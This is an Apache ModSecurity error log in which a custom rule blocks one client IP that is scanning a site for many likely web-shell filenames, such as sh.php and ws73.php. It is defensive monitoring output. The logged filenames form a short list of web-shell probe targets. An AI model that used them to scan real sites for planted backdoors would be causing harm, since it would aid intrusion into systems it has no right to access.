[Sun Apr 19 23:35:51.656013 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7049] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeT2V_SdD_XHQMJ_ISt11QAAAdA"]
[Sun Apr 19 23:35:52.364749 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7160] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeT2WPSdD_XHQMJ_ISt12AAAAdU"]
[Sun Apr 19 23:35:53.017922 2026] [:error] [pid 15694:tid 15749] [client 20.215.51.14:7126] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeT2WbimB-jol1fwqAodmQAAAZc"]
[Sun Apr 19 23:35:53.908784 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7084] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "aeT2WWLL_sqdSHoVp-RJEgAAAlI"]
[Sun Apr 19 23:35:54.721817 2026] [:error] [pid 15765:tid 15862] [client 20.215.51.14:7144] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aeT2WvRqinw-W5EwQ74OWAAAAok"]
[Sun Apr 19 23:35:55.469644 2026] [:error] [pid 47886:tid 47906] [client 20.215.51.14:7150] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aeT2W0Se8yiyuPrD7yOLbQAAANI"]
[Sun Apr 19 23:35:56.226386 2026] [:error] [pid 15765:tid 15861] [client 20.215.51.14:7053] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aeT2XPRqinw-W5EwQ74OWwAAAog"]
[Sun Apr 19 23:35:57.159792 2026] [:error] [pid 47773:tid 47837] [client 20.215.51.14:7044] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Okxob.php"] [unique_id "aeT2XeiBHdnCJDuPq9Bf5AAAAFU"]
[Sun Apr 19 23:35:57.864815 2026] [:error] [pid 47886:tid 47894] [client 20.215.51.14:6920] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_py4mE1XY.php"] [unique_id "aeT2XUSe8yiyuPrD7yOLcQAAAMY"]
[Sun Apr 19 23:35:58.501675 2026] [:error] [pid 15693:tid 15697] [client 20.215.51.14:6915] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_py4mE1XY.php"] [unique_id "aeT2XsNMD-ccazQlTsln5wAAAUE"]
[Sun Apr 19 23:35:59.238435 2026] [:error] [pid 47775:tid 47847] [client 20.215.51.14:6938] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_py4mE1XY.php"] [unique_id "aeT2X7mztjlk9tsmoewvnAAAAIQ"]
[Sun Apr 19 23:35:59.964849 2026] [:error] [pid 15693:tid 15713] [client 20.215.51.14:7128] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/utchiha_py4mE1XY.php"] [unique_id "aeT2X8NMD-ccazQlTsln6QAAAVE"]
[Sun Apr 19 23:36:00.609437 2026] [:error] [pid 47773:tid 47817] [client 20.215.51.14:6977] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeT2YOiBHdnCJDuPq9Bf5wAAAEE"]
[Sun Apr 19 23:36:01.275699 2026] [:error] [pid 15764:tid 15833] [client 20.215.51.14:7117] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeT2YWLL_sqdSHoVp-RJGgAAAkc"]
[Sun Apr 19 23:36:01.948977 2026] [:error] [pid 47773:tid 47821] [client 20.215.51.14:6990] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeT2YeiBHdnCJDuPq9Bf6gAAAEU"]
[Sun Apr 19 23:36:02.681970 2026] [:error] [pid 47775:tid 47851] [client 20.215.51.14:6865] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeT2Yrmztjlk9tsmoewvpQAAAIg"]
[Sun Apr 19 23:36:03.546942 2026] [:error] [pid 15764:tid 15846] [client 20.215.51.14:7146] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeT2Y2LL_sqdSHoVp-RJHgAAAlQ"]
[Sun Apr 19 23:36:04.256827 2026] [:error] [pid 15693:tid 15709] [client 20.215.51.14:6916] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeT2ZMNMD-ccazQlTsln6gAAAU0"]
[Sun Apr 19 23:36:05.133314 2026] [:error] [pid 15763:tid 15814] [client 20.215.51.14:7138] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeT2ZbMXv1Y1THOoxaAdHgAAAhI"]
[Sun Apr 19 23:36:05.865763 2026] [:error] [pid 47775:tid 47866] [client 20.215.51.14:7162] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws73.php"] [unique_id "aeT2Zbmztjlk9tsmoewvpwAAAJc"]
[Sun Apr 19 23:36:06.816956 2026] [:error] [pid 15693:tid 15712] [client 20.215.51.14:6983] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeT2ZsNMD-ccazQlTsln7AAAAVA"]
[Sun Apr 19 23:36:07.676150 2026] [:error] [pid 15693:tid 15710] [client 20.215.51.14:6934] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeT2Z8NMD-ccazQlTsln7gAAAU4"]
[Sun Apr 19 23:36:08.439324 2026] [:error] [pid 47775:tid 47856] [client 20.215.51.14:6856] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeT2aLmztjlk9tsmoewvqwAAAI0"]
[Sun Apr 19 23:36:09.304814 2026] [:error] [pid 47775:tid 47854] [client 20.215.51.14:7021] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sh.php"] [unique_id "aeT2abmztjlk9tsmoewvrQAAAIs"]
[Sun Apr 19 23:36:10.251604 2026] [:error] [pid 47886:tid 47903] [client 20.215.51.14:7143] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeT2akSe8yiyuPrD7yOLeQAAAM8"]
[Sun Apr 19 23:36:10.996702 2026] [:error] [pid 47886:tid 47904] [client 20.215.51.14:7067] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeT2akSe8yiyuPrD7yOLewAAANA"]
[Sun Apr 19 23:36:11.633809 2026] [:error] [pid 15760:tid 15787] [client 20.215.51.14:6968] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeT2a_SdD_XHQMJ_ISt15QAAAdM"]
[Sun Apr 19 23:36:12.409843 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7159] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcoiw.php"] [unique_id "aeT2bGLL_sqdSHoVp-RJKQAAAkU"]
[Sun Apr 19 23:36:13.158270 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:7027] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defeg.php"] [unique_id "aeT2bfSdD_XHQMJ_ISt16wAAAdY"]
[Sun Apr 19 23:36:13.832516 2026] [:error] [pid 15763:tid 15810] [client 20.215.51.14:7051] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defeg.php"] [unique_id "aeT2bbMXv1Y1THOoxaAdJQAAAg4"]
[Sun Apr 19 23:36:14.526849 2026] [:error] [pid 15693:tid 15719] [client 20.215.51.14:7161] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defeg.php"] [unique_id "aeT2bsNMD-ccazQlTsln8wAAAVc"]
[Sun Apr 19 23:36:15.271932 2026] [:error] [pid 15765:tid 15864] [client 20.215.51.14:6903] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/defeg.php"] [unique_id "aeT2b_Rqinw-W5EwQ74OZAAAAos"]
[Sun Apr 19 23:36:16.046363 2026] [:error] [pid 15694:tid 15734] [client 20.215.51.14:7037] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aeT2cLimB-jol1fwqAodowAAAYg"]
[Sun Apr 19 23:36:16.643423 2026] [:error] [pid 47775:tid 47855] [client 20.215.51.14:6863] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aeT2cLmztjlk9tsmoewvsQAAAIw"]
[Sun Apr 19 23:36:17.372911 2026] [:error] [pid 15763:tid 15807] [client 20.215.51.14:6982] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aeT2cbMXv1Y1THOoxaAdKAAAAgs"]
[Sun Apr 19 23:36:18.058504 2026] [:error] [pid 15765:tid 15856] [client 20.215.51.14:6933] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aeT2cvRqinw-W5EwQ74OZgAAAoM"]
[Sun Apr 19 23:36:18.704691 2026] [:error] [pid 15763:tid 15801] [client 20.215.51.14:7163] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeT2crMXv1Y1THOoxaAdLQAAAgU"]
[Sun Apr 19 23:36:19.338793 2026] [:error] [pid 15763:tid 15804] [client 20.215.51.14:7145] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeT2c7MXv1Y1THOoxaAdMAAAAgg"]
[Sun Apr 19 23:36:19.964064 2026] [:error] [pid 15694:tid 15744] [client 20.215.51.14:6858] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeT2c7imB-jol1fwqAodpgAAAZI"]
[Sun Apr 19 23:36:20.745743 2026] [:error] [pid 15764:tid 15836] [client 20.215.51.14:7058] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeT2dGLL_sqdSHoVp-RJOAAAAko"]
[Sun Apr 19 23:36:21.392374 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:6936] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws56.php"] [unique_id "aeT2dfSdD_XHQMJ_ISt18QAAAcQ"]
[Sun Apr 19 23:36:22.222156 2026] [:error] [pid 15764:tid 15840] [client 20.215.51.14:7040] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws56.php"] [unique_id "aeT2dmLL_sqdSHoVp-RJPAAAAk4"]
[Sun Apr 19 23:36:23.362566 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:6925] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws56.php"] [unique_id "aeT2d_SdD_XHQMJ_ISt1-AAAAdY"]
[Sun Apr 19 23:36:24.568915 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:6959] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws56.php"] [unique_id "aeT2eGLL_sqdSHoVp-RJRgAAAkU"]
[Sun Apr 19 23:36:25.749500 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:6851] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aeT2efSdD_XHQMJ_ISt1_gAAAcQ"]
[Sun Apr 19 23:36:27.030115 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:6981] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aeT2e_SdD_XHQMJ_ISt2BQAAAdY"]
[Sun Apr 19 23:36:28.290690 2026] [:error] [pid 47773:tid 47835] [client 20.215.51.14:7041] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aeT2fOiBHdnCJDuPq9Bf_wAAAFM"]
[Sun Apr 19 23:36:29.610576 2026] [:error] [pid 15760:tid 15782] [client 20.215.51.14:6927] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aeT2ffSdD_XHQMJ_ISt2DAAAAc4"]
[Sun Apr 19 23:36:30.852612 2026] [:error] [pid 47886:tid 47889] [client 20.215.51.14:6961] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zu.php"] [unique_id "aeT2fkSe8yiyuPrD7yOLgwAAAME"]
[Sun Apr 19 23:36:31.846100 2026] [:error] [pid 47775:tid 47847] [client 20.215.51.14:7120] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zu.php"] [unique_id "aeT2f7mztjlk9tsmoewvuwAAAIQ"]
[Sun Apr 19 23:36:33.031192 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:6937] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zu.php"] [unique_id "aeT2gWLL_sqdSHoVp-RJUgAAAk8"]
[Sun Apr 19 23:36:34.492077 2026] [:error] [pid 15763:tid 15808] [client 20.215.51.14:7070] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zu.php"] [unique_id "aeT2grMXv1Y1THOoxaAdOQAAAgw"]
[Sun Apr 19 23:36:36.207284 2026] [:error] [pid 15765:tid 15869] [client 20.215.51.14:7072] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gedim.php"] [unique_id "aeT2hPRqinw-W5EwQ74ObAAAApA"]
[Sun Apr 19 23:36:37.664602 2026] [:error] [pid 47886:tid 47911] [client 20.215.51.14:7106] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gedim.php"] [unique_id "aeT2hUSe8yiyuPrD7yOLiAAAANc"]
[Sun Apr 19 23:37:30.337379 2026] [:error] [pid 47775:tid 47865] [client 20.215.51.14:7152] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a8.php"] [unique_id "aeT2urmztjlk9tsmoewv-wAAAJY"]
[Sun Apr 19 23:37:31.447765 2026] [:error] [pid 47773:tid 47832] [client 20.215.51.14:7141] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a8.php"] [unique_id "aeT2u-iBHdnCJDuPq9BgFwAAAFA"]
